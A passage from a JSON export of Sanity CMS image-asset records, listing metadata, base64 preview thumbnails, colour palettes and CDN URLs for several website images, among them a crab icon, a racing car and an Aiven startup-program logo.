CB+XmWORzmOCORdksgoLashAlVMmnQ7e0Njm5vT3QfHQ1r43G9IX8821PID1jSaeXkzo5JGQw+H1pc1OtDIbvM7ZYOGg181YCW2wisrdWpdnbqdLEY40U0ynKGQo3y6WlQarXCvTodA7Na2J0EAap0gw2Yy8VVuN3cZ2aCISIIRGkyQQpN72NMrYY0CgWqwTB2M9DfDzR92qpBqn/rDQ8PDXP39zTlaw8KdcvFkEIhaZJJeVyZFOa3taEsHoKgMAzjYjHKknbisEyGQ3I5xsBQNs5kMlpra2uR//YGz6VKPxanAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#59572c","foreground":"#fff","population":0.37,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6c8404","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e7f013","foreground":"#000","population":1.38,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ada5cc","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ebf064","foreground":"#000","population":0.53,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#867c4a","foreground":"#fff","population":0.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e7f013","foreground":"#000","population":1.38,"title":"#000"}}},"mimeType":"image/png","originalFilename":"4b09be0810a20ad5be0522095675e84a1ce32b87-1980x788.png","path":"images/sczeoy4w/production/4b09be0810a20ad5be0522095675e84a1ce32b87-1980x788.png","sha1hash":"4b09be0810a20ad5be0522095675e84a1ce32b87","size":65314,"uploadId":"KDm22LTemdfsSFd5NNLChuVXW5xUaQaZ","url":"https://cdn.sanity.io/images/sczeoy4w/production/4b09be0810a20ad5be0522095675e84a1ce32b87-1980x788.png"} {"_createdAt":"2022-10-25T14:26:35Z","_id":"image-aa68320df4224387b3107d8726dda5f521333f13-1749x593-png","_rev":"DqbZPlWf2gzTA6NYtHGCrL","_type":"sanity.imageAsset","_updatedAt":"2022-10-25T14:26:35Z","assetId":"aa68320df4224387b3107d8726dda5f521333f13","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DOJRTo~o03oiM{obM{M}M{Rj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.9494097807757167,"height":593,"width":1749},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsTAAALEwEAmpwYAAACQklEQVQokQE3Asj9AAgLOAEVFREDNjMGA358SQHU5f8A4NtwItvXi3rX1JmAw8CWL2hlMR9XVBYwR0UJIFlVBAmQjVQEf39xB4OCagiEg2YIfX1vCXV2dARbW2UAAHVxKA9xbjQnfnxMJaSigRDPzrkO1NKmItbSkUfUz3BVzMVESLixNEKRjDw1g4FhJaKghBeSkHgRfn1sFZuXUyGtqEYnj4xNGUJCPgsJCQUFAKGbMTyblkF7oZ1VdL25fUXRzp5L0M2jVtrUfFfj2j574Nc5od/XPovVz2Vby8ebVs3JnFTCv445nJp1MqekX2K1sFd3op5TQD4+LRQCAgAMAKmjMlilnz2lqqVLmcS/dmrTz5B00s6Oc93Xdmzl3l+t4dtg5uTeYrvh23Nw1NCPb9LOkXrJxoxdqqd3T6unYIa0r1uepaFYW1pZOBkAAAAJALOuUTuyrVZ5uLNdbczIh0fW0qBI1NGYQODaeUHi3GiI3thnw+Haap7f2XVP09CRPs3KmEm5t49Eo6FzO6ijT0erpUNPlpI/NVRSJxIAAAAEAMzJsCXPzahd1dGZUdrWnCDZ2MQSzs21D9HKTRTZ0Do21c5EVs/IT1e9uFtBsq+CLK+uoRiLinsWgoBhFYJ+Lw57dQANY14CDCUkBQgAAAAFANPRvRrY1bBF3NiYO+Habg/XziACmpQhB4N8AA1+dwAOlpE8FKGdVDOgnF9eoJ50T56dixRwaQABhoEvA1ZVRQGKhSIBPjsCAwICAAoAAAAQQn//qYYplfcAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#575028","foreground":"#fff","population":0.2,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5a580a","foreground":"#fff","population":0.55,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f3ef0c","foreground":"#000","population":3.51,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d7d7ac","foreground":"#000","population":0.68,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f5f18f","foreground":"#000","population":0.47,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#949a55","foreground":"#fff","population":0.13,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f3ef0c","foreground":"#000","population":3.51,"title":"#000"}}},"mimeType":"image/png","originalFilename":"aa68320df4224387b3107d8726dda5f521333f13-1749x593.png","path":"images/sczeoy4w/production/aa68320df4224387b3107d8726dda5f521333f13-1749x593.png","sha1hash":"aa68320df4224387b3107d8726dda5f521333f13","size":46455,"uploadId":"LgeY7SYO0p1F1XwDU5ooWmSwfj0q7mjS","url":"https://cdn.sanity.io/images/sczeoy4w/production/aa68320df4224387b3107d8726dda5f521333f13-1749x593.png"} {"_createdAt":"2022-10-04T13:59:45Z","_id":"image-59fc15e2411f53603ab84861286cc3b3eff054c8-205x205-png","_rev":"qnc5Tdg2aSOyO2H2se4heL","_type":"sanity.imageAsset","_updatedAt":"2022-10-04T13:59:45Z","assetId":"59fc15e2411f53603ab84861286cc3b3eff054c8","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eHKP+btK1aj01JRpe=B6W.=c0}V{|_bX=K-Ok9,InkE#E#bF]nj[s,","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":205,"width":205},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEO0lEQVQ4jW2U20/URxTHDygUAS+hEi3gFZaLIAju7LqwIBtXwAWW3Z0fsLuKgFileK90qW1fSmIfNDEmosGEJk3a9MGkXv4AY6KhvvhmDE++G6PPaGLm0wzLeqlOcjJz5jfznc+c35kjstyMJyq4nbQp/all5txp3yhHTGatOz3+rNHcI3ijgjcixKuEpsEPByxvSo8zwh/7zhcEfWHBExMsaUPSLspB6dUonY/S2UvmdgrSc/abpXbe2+eCe/rE7B4Qs3PICluRJpQeQmkHpV24nXKUjqD0MMrx4Nb55kuCDFaLSbjE7AsIeqfQ0ZZFc68Lb+Q0Sv9hlP4bpc+h9BhKX0Xpf3A70yhdbZTOylx9KSRW2AzUpGMmN4RIoyC/C/5QE/7uX/CFZ/DE/kLpy7idn3E7l1D6T5Sewe2oj2NMJpboOkEQk6zIon9HHrH6IoJ762jfP0pr1280917CGxlH6aMobcmsqPV3onSRUToPS5ohJF4pJCuEhCuPgWqFU5sksqubrhbNvsBFAsHrtHX9iq93Gk/0BkpfRGmN0iGUTqK0Jc3LpJYwUCMmvFsY2rKBZMUwg1VXcGovEWmco9v7iI7WxwSCt/GHbuMLP8YbfYTSc8ukV1B6xCi9IR1DLWK+zxFOrCng2Pp2c6TkAkNbb5JwzZv+2lcm0rhIj+eZ6fTPEAjO0Nr1jOaeRbyRV6jYPErfROkLKN2O0jalRJhYJ5wsLOXE2nHGi64xtvEOw5tfkiyHgRqI1b+gr+m+CfnuE2x/Qft+aOnG7Ol7iSd6B6WvGbfzHUqXpn/K6XxrxZzJj3Oq8DLjRbc4unGBkbLXHNr+hnjVO3TdIn1Ni4T2vDMdbW8IBF/jDy3gC9/CE72MisWN0sVpwpQI51fmMrmijfMrpzmzapaJtfc4Vvwvo6XPGdr6loQL+mshsuut6fE8p9M/z77APfZ2ztLSM40v3Ga8kVz7bIWpJcsmJdWksiaZXHGXc7lPOFX4gONf3+VIyTyHtyyQqFgw/TvmiTbcpdf9gJDvCR1t92gPTtJ6oBp/KBt3v4ixhGe/sqRrSEmclDw0k9lPOZc7x8nV43xbHGekbJShbaPEKweNU3ucaMMc4d1P6fY+NF0tcQLBNZRPCLH694RW0FIqUnKdlMwyuSLE2bwyJtYWcqSkgJFNBSQrChmoLsOpDRGrnyXSeJ2w22M6/dm0dYnp8SzH0Ar+kGXH60iJnynpNFNSwpRkmePrhaMbhNFSYewb22eRqCxhoKYTp66V6K519qVxeIvQ15QWW7r2B9JcUlJASnI4s0oY2iqMbbSJv1REbDEh4cohUVlAvDKXwar0nFMndPo/ERIupHtj/R9tbPMEm/g/idBfa4XSmw+WC8ly4dA2AVkiI9YgHGheFsoQ/r9ftqUDDm4XhjeJObw5LWwrlK1UtuTZ3h4UbZD/AEBQpv0wRvlmAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#72523f","foreground":"#fff","population":0.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#730d10","foreground":"#fff","population":0.25,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f87609","foreground":"#fff","population":1.71,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#950703","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa413c","foreground":"#fff","population":0.85,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ab626e","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f87609","foreground":"#fff","population":1.71,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"crabby_205x205px.png","path":"images/sczeoy4w/production/59fc15e2411f53603ab84861286cc3b3eff054c8-205x205.png","sha1hash":"59fc15e2411f53603ab84861286cc3b3eff054c8","size":7648,"uploadId":"lS0ZMEmKXSEYHeJOISygVGGgHDcg5U8V","url":"https://cdn.sanity.io/images/sczeoy4w/production/59fc15e2411f53603ab84861286cc3b3eff054c8-205x205.png"} {"_createdAt":"2022-10-01T17:59:33Z","_id":"image-91e37b40f1f389e0961a8abd85c6e6c135477416-2500x2500-png","_rev":"XMqVxILwpPMz4xYxcA3Ubd","_type":"sanity.imageAsset","_updatedAt":"2022-10-01T17:59:33Z","assetId":"91e37b40f1f389e0961a8abd85c6e6c135477416","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eCHTsz?UH;|E17{w~1%2ECOY045FI;EyIw0~4rRqKj,B0M#?^j$^}*","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":2500,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#32484d","foreground":"#fff","population":0.22,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#61400e","foreground":"#fff","population":0.32,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fab519","foreground":"#000","population":11,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4cedf","foreground":"#000","population":0.13,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f74b32","foreground":"#fff","population":2.32,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#987172","foreground":"#fff","population":0.27,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fab519","foreground":"#000","population":11,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"racing-car.png","path":"images/sczeoy4w/production/91e37b40f1f389e0961a8abd85c6e6c135477416-2500x2500.png","sha1hash":"91e37b40f1f389e0961a8abd85c6e6c135477416","size":495370,"uploadId":"hxMXBLNN5ohIH1Ypa7YjwGSroBFmTb79","url":"https://cdn.sanity.io/images/sczeoy4w/production/91e37b40f1f389e0961a8abd85c6e6c135477416-2500x2500.png"} {"_createdAt":"2022-10-25T08:39:37Z","_id":"image-24188ee23b4832f0cf0b0fe133401d07d7f4d532-2000x1125-png","_rev":"RPJ6QkJpxJAiV3cKZYI5uD","_type":"sanity.imageAsset","_updatedAt":"2022-10-25T08:39:37Z","assetId":"24188ee23b4832f0cf0b0fe133401d07d7f4d532","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MFO:Fs1j8w_20dp{aw_3^+$gH?Di?u-T?v","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":1125,"width":2000},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAADhklEQVQokQF7A4T8AN6DghiicHMbfXJ4FaSnuQ5eWqU6PDmViCspjoMZF4ZCEhCDJTo4lyCRkMcZ7OrxKvTb12T0ysaI88zOXvLe6SX12Ngn9c/LR/LR0Djp4e0QAOO4wArAprAKsaq0CNvd7h26tthvk4u+xnlxsbl6drZXpKPQItLS6DPo6PRH8u/0WvPg35Lw0NG97cvVm/HJ1mL0y89f8M/RhenP1Wff1ecbAOT//wPx/v8E9fX/Dunq9z/f3e+Zz8jh2ryz08bAs89w7NbXQvbs61zy7vRn8+7yaPPl6Y7u19+w7cbSpfC1wIDxusBg6szUXeLL2UTZxNsSAP///wD///0F9PT6I+/w+Fnr6/eM5eTyodzT5Ijjx81v8NXPh+bf26fa4eGP4+fnavHo7XLy3eaD8snQj/C8v5Dru79Z5brHH+Gnvw3kkqoEAAQCfAVoZ7EP09PpL+nq9mfj5PSS4eDxkOnf6nHz3N586dzdt9Lb2t/F29XL0eHYiurn6lj05OxP89vfdu7V2KTn0dlx48HRGv8AAAD/dHkAABMRhBNgXqsvt7PXTuDe733a3PG22NjuuObh74zp4Ox509XkjMLV267D2dOpzt3UZuTn6jDz8Pgz8u70Ye7p8Ynp5fBl6uPwIvTh6AXlztYAACAeixOMh8A6x8HeYeDc7Hna2u2f19brq97Y6ofDvdxllJXIUqew0FjK0txT4drfOvDX3EHy3OBh8uPnefHp73bx7vZT8vP6LfP4/w/x//8AAHRxtgfGw+I9z8znc9HP5mXNxtpX1MbZY9fM4XO7t9x8mJfMVaOi0Dba0uc58M3UUvK/wX7yvb2Z8sG/nPLJxobz0M5c8tHPNPLKxRTynIkCAPr5/gXZ2fBMz9DsjcnH5GS9oLsn1ai6JtrR5mDNzuqVxsjoZ9bY7zDt3OUy8LG3VfGhpIfxpKKg8aiio/Ktppfyr6V88qWWWPKRey7yeVsOAPDw+APf4PMp1dbvTtDI5TXSkq8O9JKgCuPX6SzY2PBQ1dfwOufr+xv009sY8ISMLfB+gVDxj41m8Z+adPKrpX7ysKh98qibbPKVgT/yel0SAP///wDu7/oC493vBuO+1QT6eo8C/3iGAe7L2QTi3vEJ3N3zCeHm+Qbox9cG7XF8Cu9dYQ/whIMW8bm5J/LOzjny0dA/8snFM/KxpRjyfmIEPX9S+r0HogcAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#40474b","foreground":"#fff","population":0.33,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#611c1c","foreground":"#fff","population":0.5,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b56b57","foreground":"#fff","population":0.61,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#caadc1","foreground":"#000","population":0.46,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f49e81","foreground":"#000","population":0.37,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b56b57","foreground":"#fff","population":0.61,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#98c232","foreground":"#000","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"24188ee23b4832f0cf0b0fe133401d07d7f4d532-2000x1125.png","path":"images/sczeoy4w/production/24188ee23b4832f0cf0b0fe133401d07d7f4d532-2000x1125.png","sha1hash":"24188ee23b4832f0cf0b0fe133401d07d7f4d532","size":147372,"uploadId":"ElERhwh3WeicAsq2DKWTyrqpNWiBYaue","url":"https://cdn.sanity.io/images/sczeoy4w/production/24188ee23b4832f0cf0b0fe133401d07d7f4d532-2000x1125.png"} {"_createdAt":"2022-09-23T12:46:21Z","_id":"image-8bf6307344286cf3f810660569ecb590fee7fca8-24x24-svg","_rev":"UWeb6CvKESkrsasvcZZUtB","_type":"sanity.imageAsset","_updatedAt":"2022-09-23T12:46:21Z","assetId":"8bf6307344286cf3f810660569ecb590fee7fca8","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eCRHLL$hxEw_J9sn}CoKNvfQ11oK$hWWJ9sn]+oKWpjt1LoKw_WWJ9","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAADQElEQVQ4jW1VzWtdRRydmHfPvDagtF2EVqG10cDbWIqWRIU2FuMiiqC1WSUWm94z/YjQduFGKNhVVGhBDIK2BkII1o+Fgm4aqVJsl5L/xTnzjELld++v4SFdHO4w986Z39c5N+Qau0VMipgV47yIOREzIsZyjerByyHobDf8c2Ek/HthpHlu49xI6KduKCkGJYT+PEJwss9E/C7G30TcFfGTiNMidm2dHh5SXSE/CmzQEauhfDGGvNgSzrZkuCPGJRErIjZFXBNx0DEt4o1H4HURUyKeLTV29l8dNkJL0yKLSyXhQElxRowbYlwW8ZyId0TcEPGdiG8HcMuxLuJqISZKDQSvmaW50pJhUcR9EZ+L6HkEH4pYcnzssPWnTv6riMtKGDXCGa/Zphhvi7gn4k8RV0TsK8QTIp62tBokjJUUDQcLMV6IUyJ+FHFdCT0jHBOx0NYsfiFi2cmmM/GMiMMiXhLxoq0zsTcTncIYVOOxwnhUxKpndCjkuqqsmxaNGJ9qgdHcRmQXfekHVn39Xiae3Dq7M/QXMCTimIi1bcI+EXLdGRarPbKIUtNVu+CIiK+8ng8bcN/3JsRmfnsizov42es5HnLd7fiL90XcVMInIo6LeM1v/sZHa9bXa/5uykk2RPwi4owYd9vY2E21b95Waj6aGiC0sXjbsT5AeNwvv+nB9DK7HWvKuN9kYZ+3Tnk6E57eH06y5mvbO6KEXU15kjWu2pPZGe6nVimHvKB24FifGNpKO4IV3uV3wyNb9/WCN2x0oIn7rO7W4EHC1WYE2lEIf7Hq2IiIeEEJR72bz/s8TvtoLfuoXfOJGAue4nUbzkK86wf2D8CG2jq/XzUe92iu+PDfczFsujhmjHC0kU0rn1suqasD+MifH4hNpD3PyEZo0eW64vKdCyZoE7YfWndtmhF8P4AfRHwt4mRrGGYcccPISsKB1qUag5kPZjlmPZ7qKyLeFPFWSfHENogTlk5ppWjpW80szRW3vDtugbONKeZLMTQm2TSiiiK6/0ch4taZyqRmKrLuW83uuikbmZn0ZGPbZt9m42bnZut/n9vR7IkIhfY+hpwQHpwMwX4LbihWuzn/bZiKJu138h/CA7BaITBFAQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#494421","foreground":"#fff","population":0.52,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8f2a04","foreground":"#fff","population":3.13,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f8640f","foreground":"#fff","population":5.03,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#943804","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fbab7e","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a9795c","foreground":"#fff","population":1.91,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8640f","foreground":"#fff","population":5.03,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-dataflow-03.svg","path":"images/sczeoy4w/production/8bf6307344286cf3f810660569ecb590fee7fca8-24x24.svg","sha1hash":"8bf6307344286cf3f810660569ecb590fee7fca8","size":2087,"uploadId":"nTqhWX4AHBRZNGixAd9IMgpzvKRa85kt","url":"https://cdn.sanity.io/images/sczeoy4w/production/8bf6307344286cf3f810660569ecb590fee7fca8-24x24.svg"} {"_createdAt":"2022-10-01T19:17:28Z","_id":"image-32210211ca3b2c667ff9e2935ccc9b4d8e2ee29e-1000x1103-png","_rev":"vDQRRYe9nRreptIRp7iv6G","_type":"sanity.imageAsset","_updatedAt":"2022-10-01T19:18:11Z","altText":"Cluster Aiven Startup Program logo","assetId":"32210211ca3b2c667ff9e2935ccc9b4d8e2ee29e","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eOD?vXxD1II[$N|^j?AXWXso1KR-=bxDWX1xWX]mocsmJPoLwgNuoK","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.9066183136899365,"height":1103,"width":1000},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAWCAYAAADAQbwGAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEHElEQVQ4jYWSzU9cZRTGz8BAoWWw1NBKi1gKLXSgc54B7syFGWA+OnwMMFNmoNgW0pZiKRQdKUI3Wj82JiZN3LtwoQv/AjcmJsbujamJtbqqC+3CxGU19H3MnZkOFFDfm3PP+55z8zvPec8V2baY6haO9AmdZ6JHOBwWxmLC/lGhnRIGMmKsrDAwKbQnhM7eymxHbINdOiGc6hBOqnCmXTjtFb4vwr4xYd94AdJ9Xhg8J+yZKsCK3imyGzjfILzQKpxpE96oEw71C0NjwsGhSoaTHtrpGgYyFbTPCbtmxPRkn4M+t7haWWgz2ymMxoVTp4VpfxWT9kkmBic4OHSdvRMLDEyO0Moep5WtZMubwmdQe3wHcM0tnG0uAK82CC+2VHPaG2La/xFHe+8xFntowqMPaKe/NlbmDq0s8tCumYLCwOROYLnw2hHhFyJcqivjlcZOXmz52Ex7H5lU9yaHQ2Q0ThNK/m2C6Z9oZd6llW1mcFJMML1Hy7cqhDcOCVdqhMu1B/ha/SyvHv3OXDphOO0lU12GIyHjQBlKbho7/Q0Dk2O0MpWmezo//d0KXz8gzFUJc9X1XPG8zRt1v3G+gSxAn5hU9yMOhX9g5OyvDCfvs3diiXbKk5+6ndoBfKtMeMstXC9z4Ie5WvEe36h+zKWD5HzDU842/8Ip710m7SuMR+9wMPEJ+0fmTDhZy3BSGB7dAVx3idkQMbfF8bVm3XXdrJX/aHLV5NLBTbNw5Ftebhxj2l9j4pGjjMWCjJw9zcHEPhNJCCOJLRgA6e85I3+ulgt/F3mcq3A/3RDbrLs+M2vlfzBXRXOz9nuzdHB282bNAV47JmYo7DbxiPtpPOri2ag8iUXzHFWV/AtQub+4X0QuSiTQIXxHanlbUmbD9blZK//Z5KoemJWaD81y7cmH54+7xHpZpH2fuDo6xQak1adFDgpAVYhPIZbfV66KqqjVuf/evOfw5ob0ccO1xDX3B8xVL/y17Gk1i4fKWqxTIk1+aVMVPyBn8oyClciAVqqiCVCooksVbXODJ1/8cq7upa/m6k59mjl6en6grTXo99X7FB5APQA8qloNoKzUcgGWBx4GNK6KEUDHAJ32KQa8Pn/Q6/NHO3wYO6PIqmIU0FFVjKs632u7qlbtAqpqI6DjgCZUMQzoIqDLfuiiH7rih64CugLogirWAb2tqlcA+ABUllreUogXAPSq5tWNAJhS6FVALwN6AdBZQF9VxVQxNquqCQDHALiecUrjBuAG0KSqIVUNAwgAGAAQAdDnFCsWdPZOPgSgsyhEdgFV1alSU6z4CoDGom8GcNwpVow5/gSAFgANAPL3VwI+672o0pmWo7RCVfPm3I9zLvp8rrh37s05l9otKdxuW7/R1nmv2L/l9gz+X5H/sn8ANfnjbDvAvQQAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3b3c","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5c180f","foreground":"#fff","population":0.24,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fb6810","foreground":"#fff","population":5.19,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#940a04","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f94740","foreground":"#fff","population":1.72,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c6050","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb6810","foreground":"#fff","population":5.19,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"logo-cluster.png","path":"images/sczeoy4w/production/32210211ca3b2c667ff9e2935ccc9b4d8e2ee29e-1000x1103.png","sha1hash":"32210211ca3b2c667ff9e2935ccc9b4d8e2ee29e","size":22052,"title":null,"uploadId":"JHDKCsEfLM1kY9GnGrWTLkiMK2XTryRR","url":"https://cdn.sanity.io/images/sczeoy4w/production/32210211ca3b2c667ff9e2935ccc9b4d8e2ee29e-1000x1103.png"} 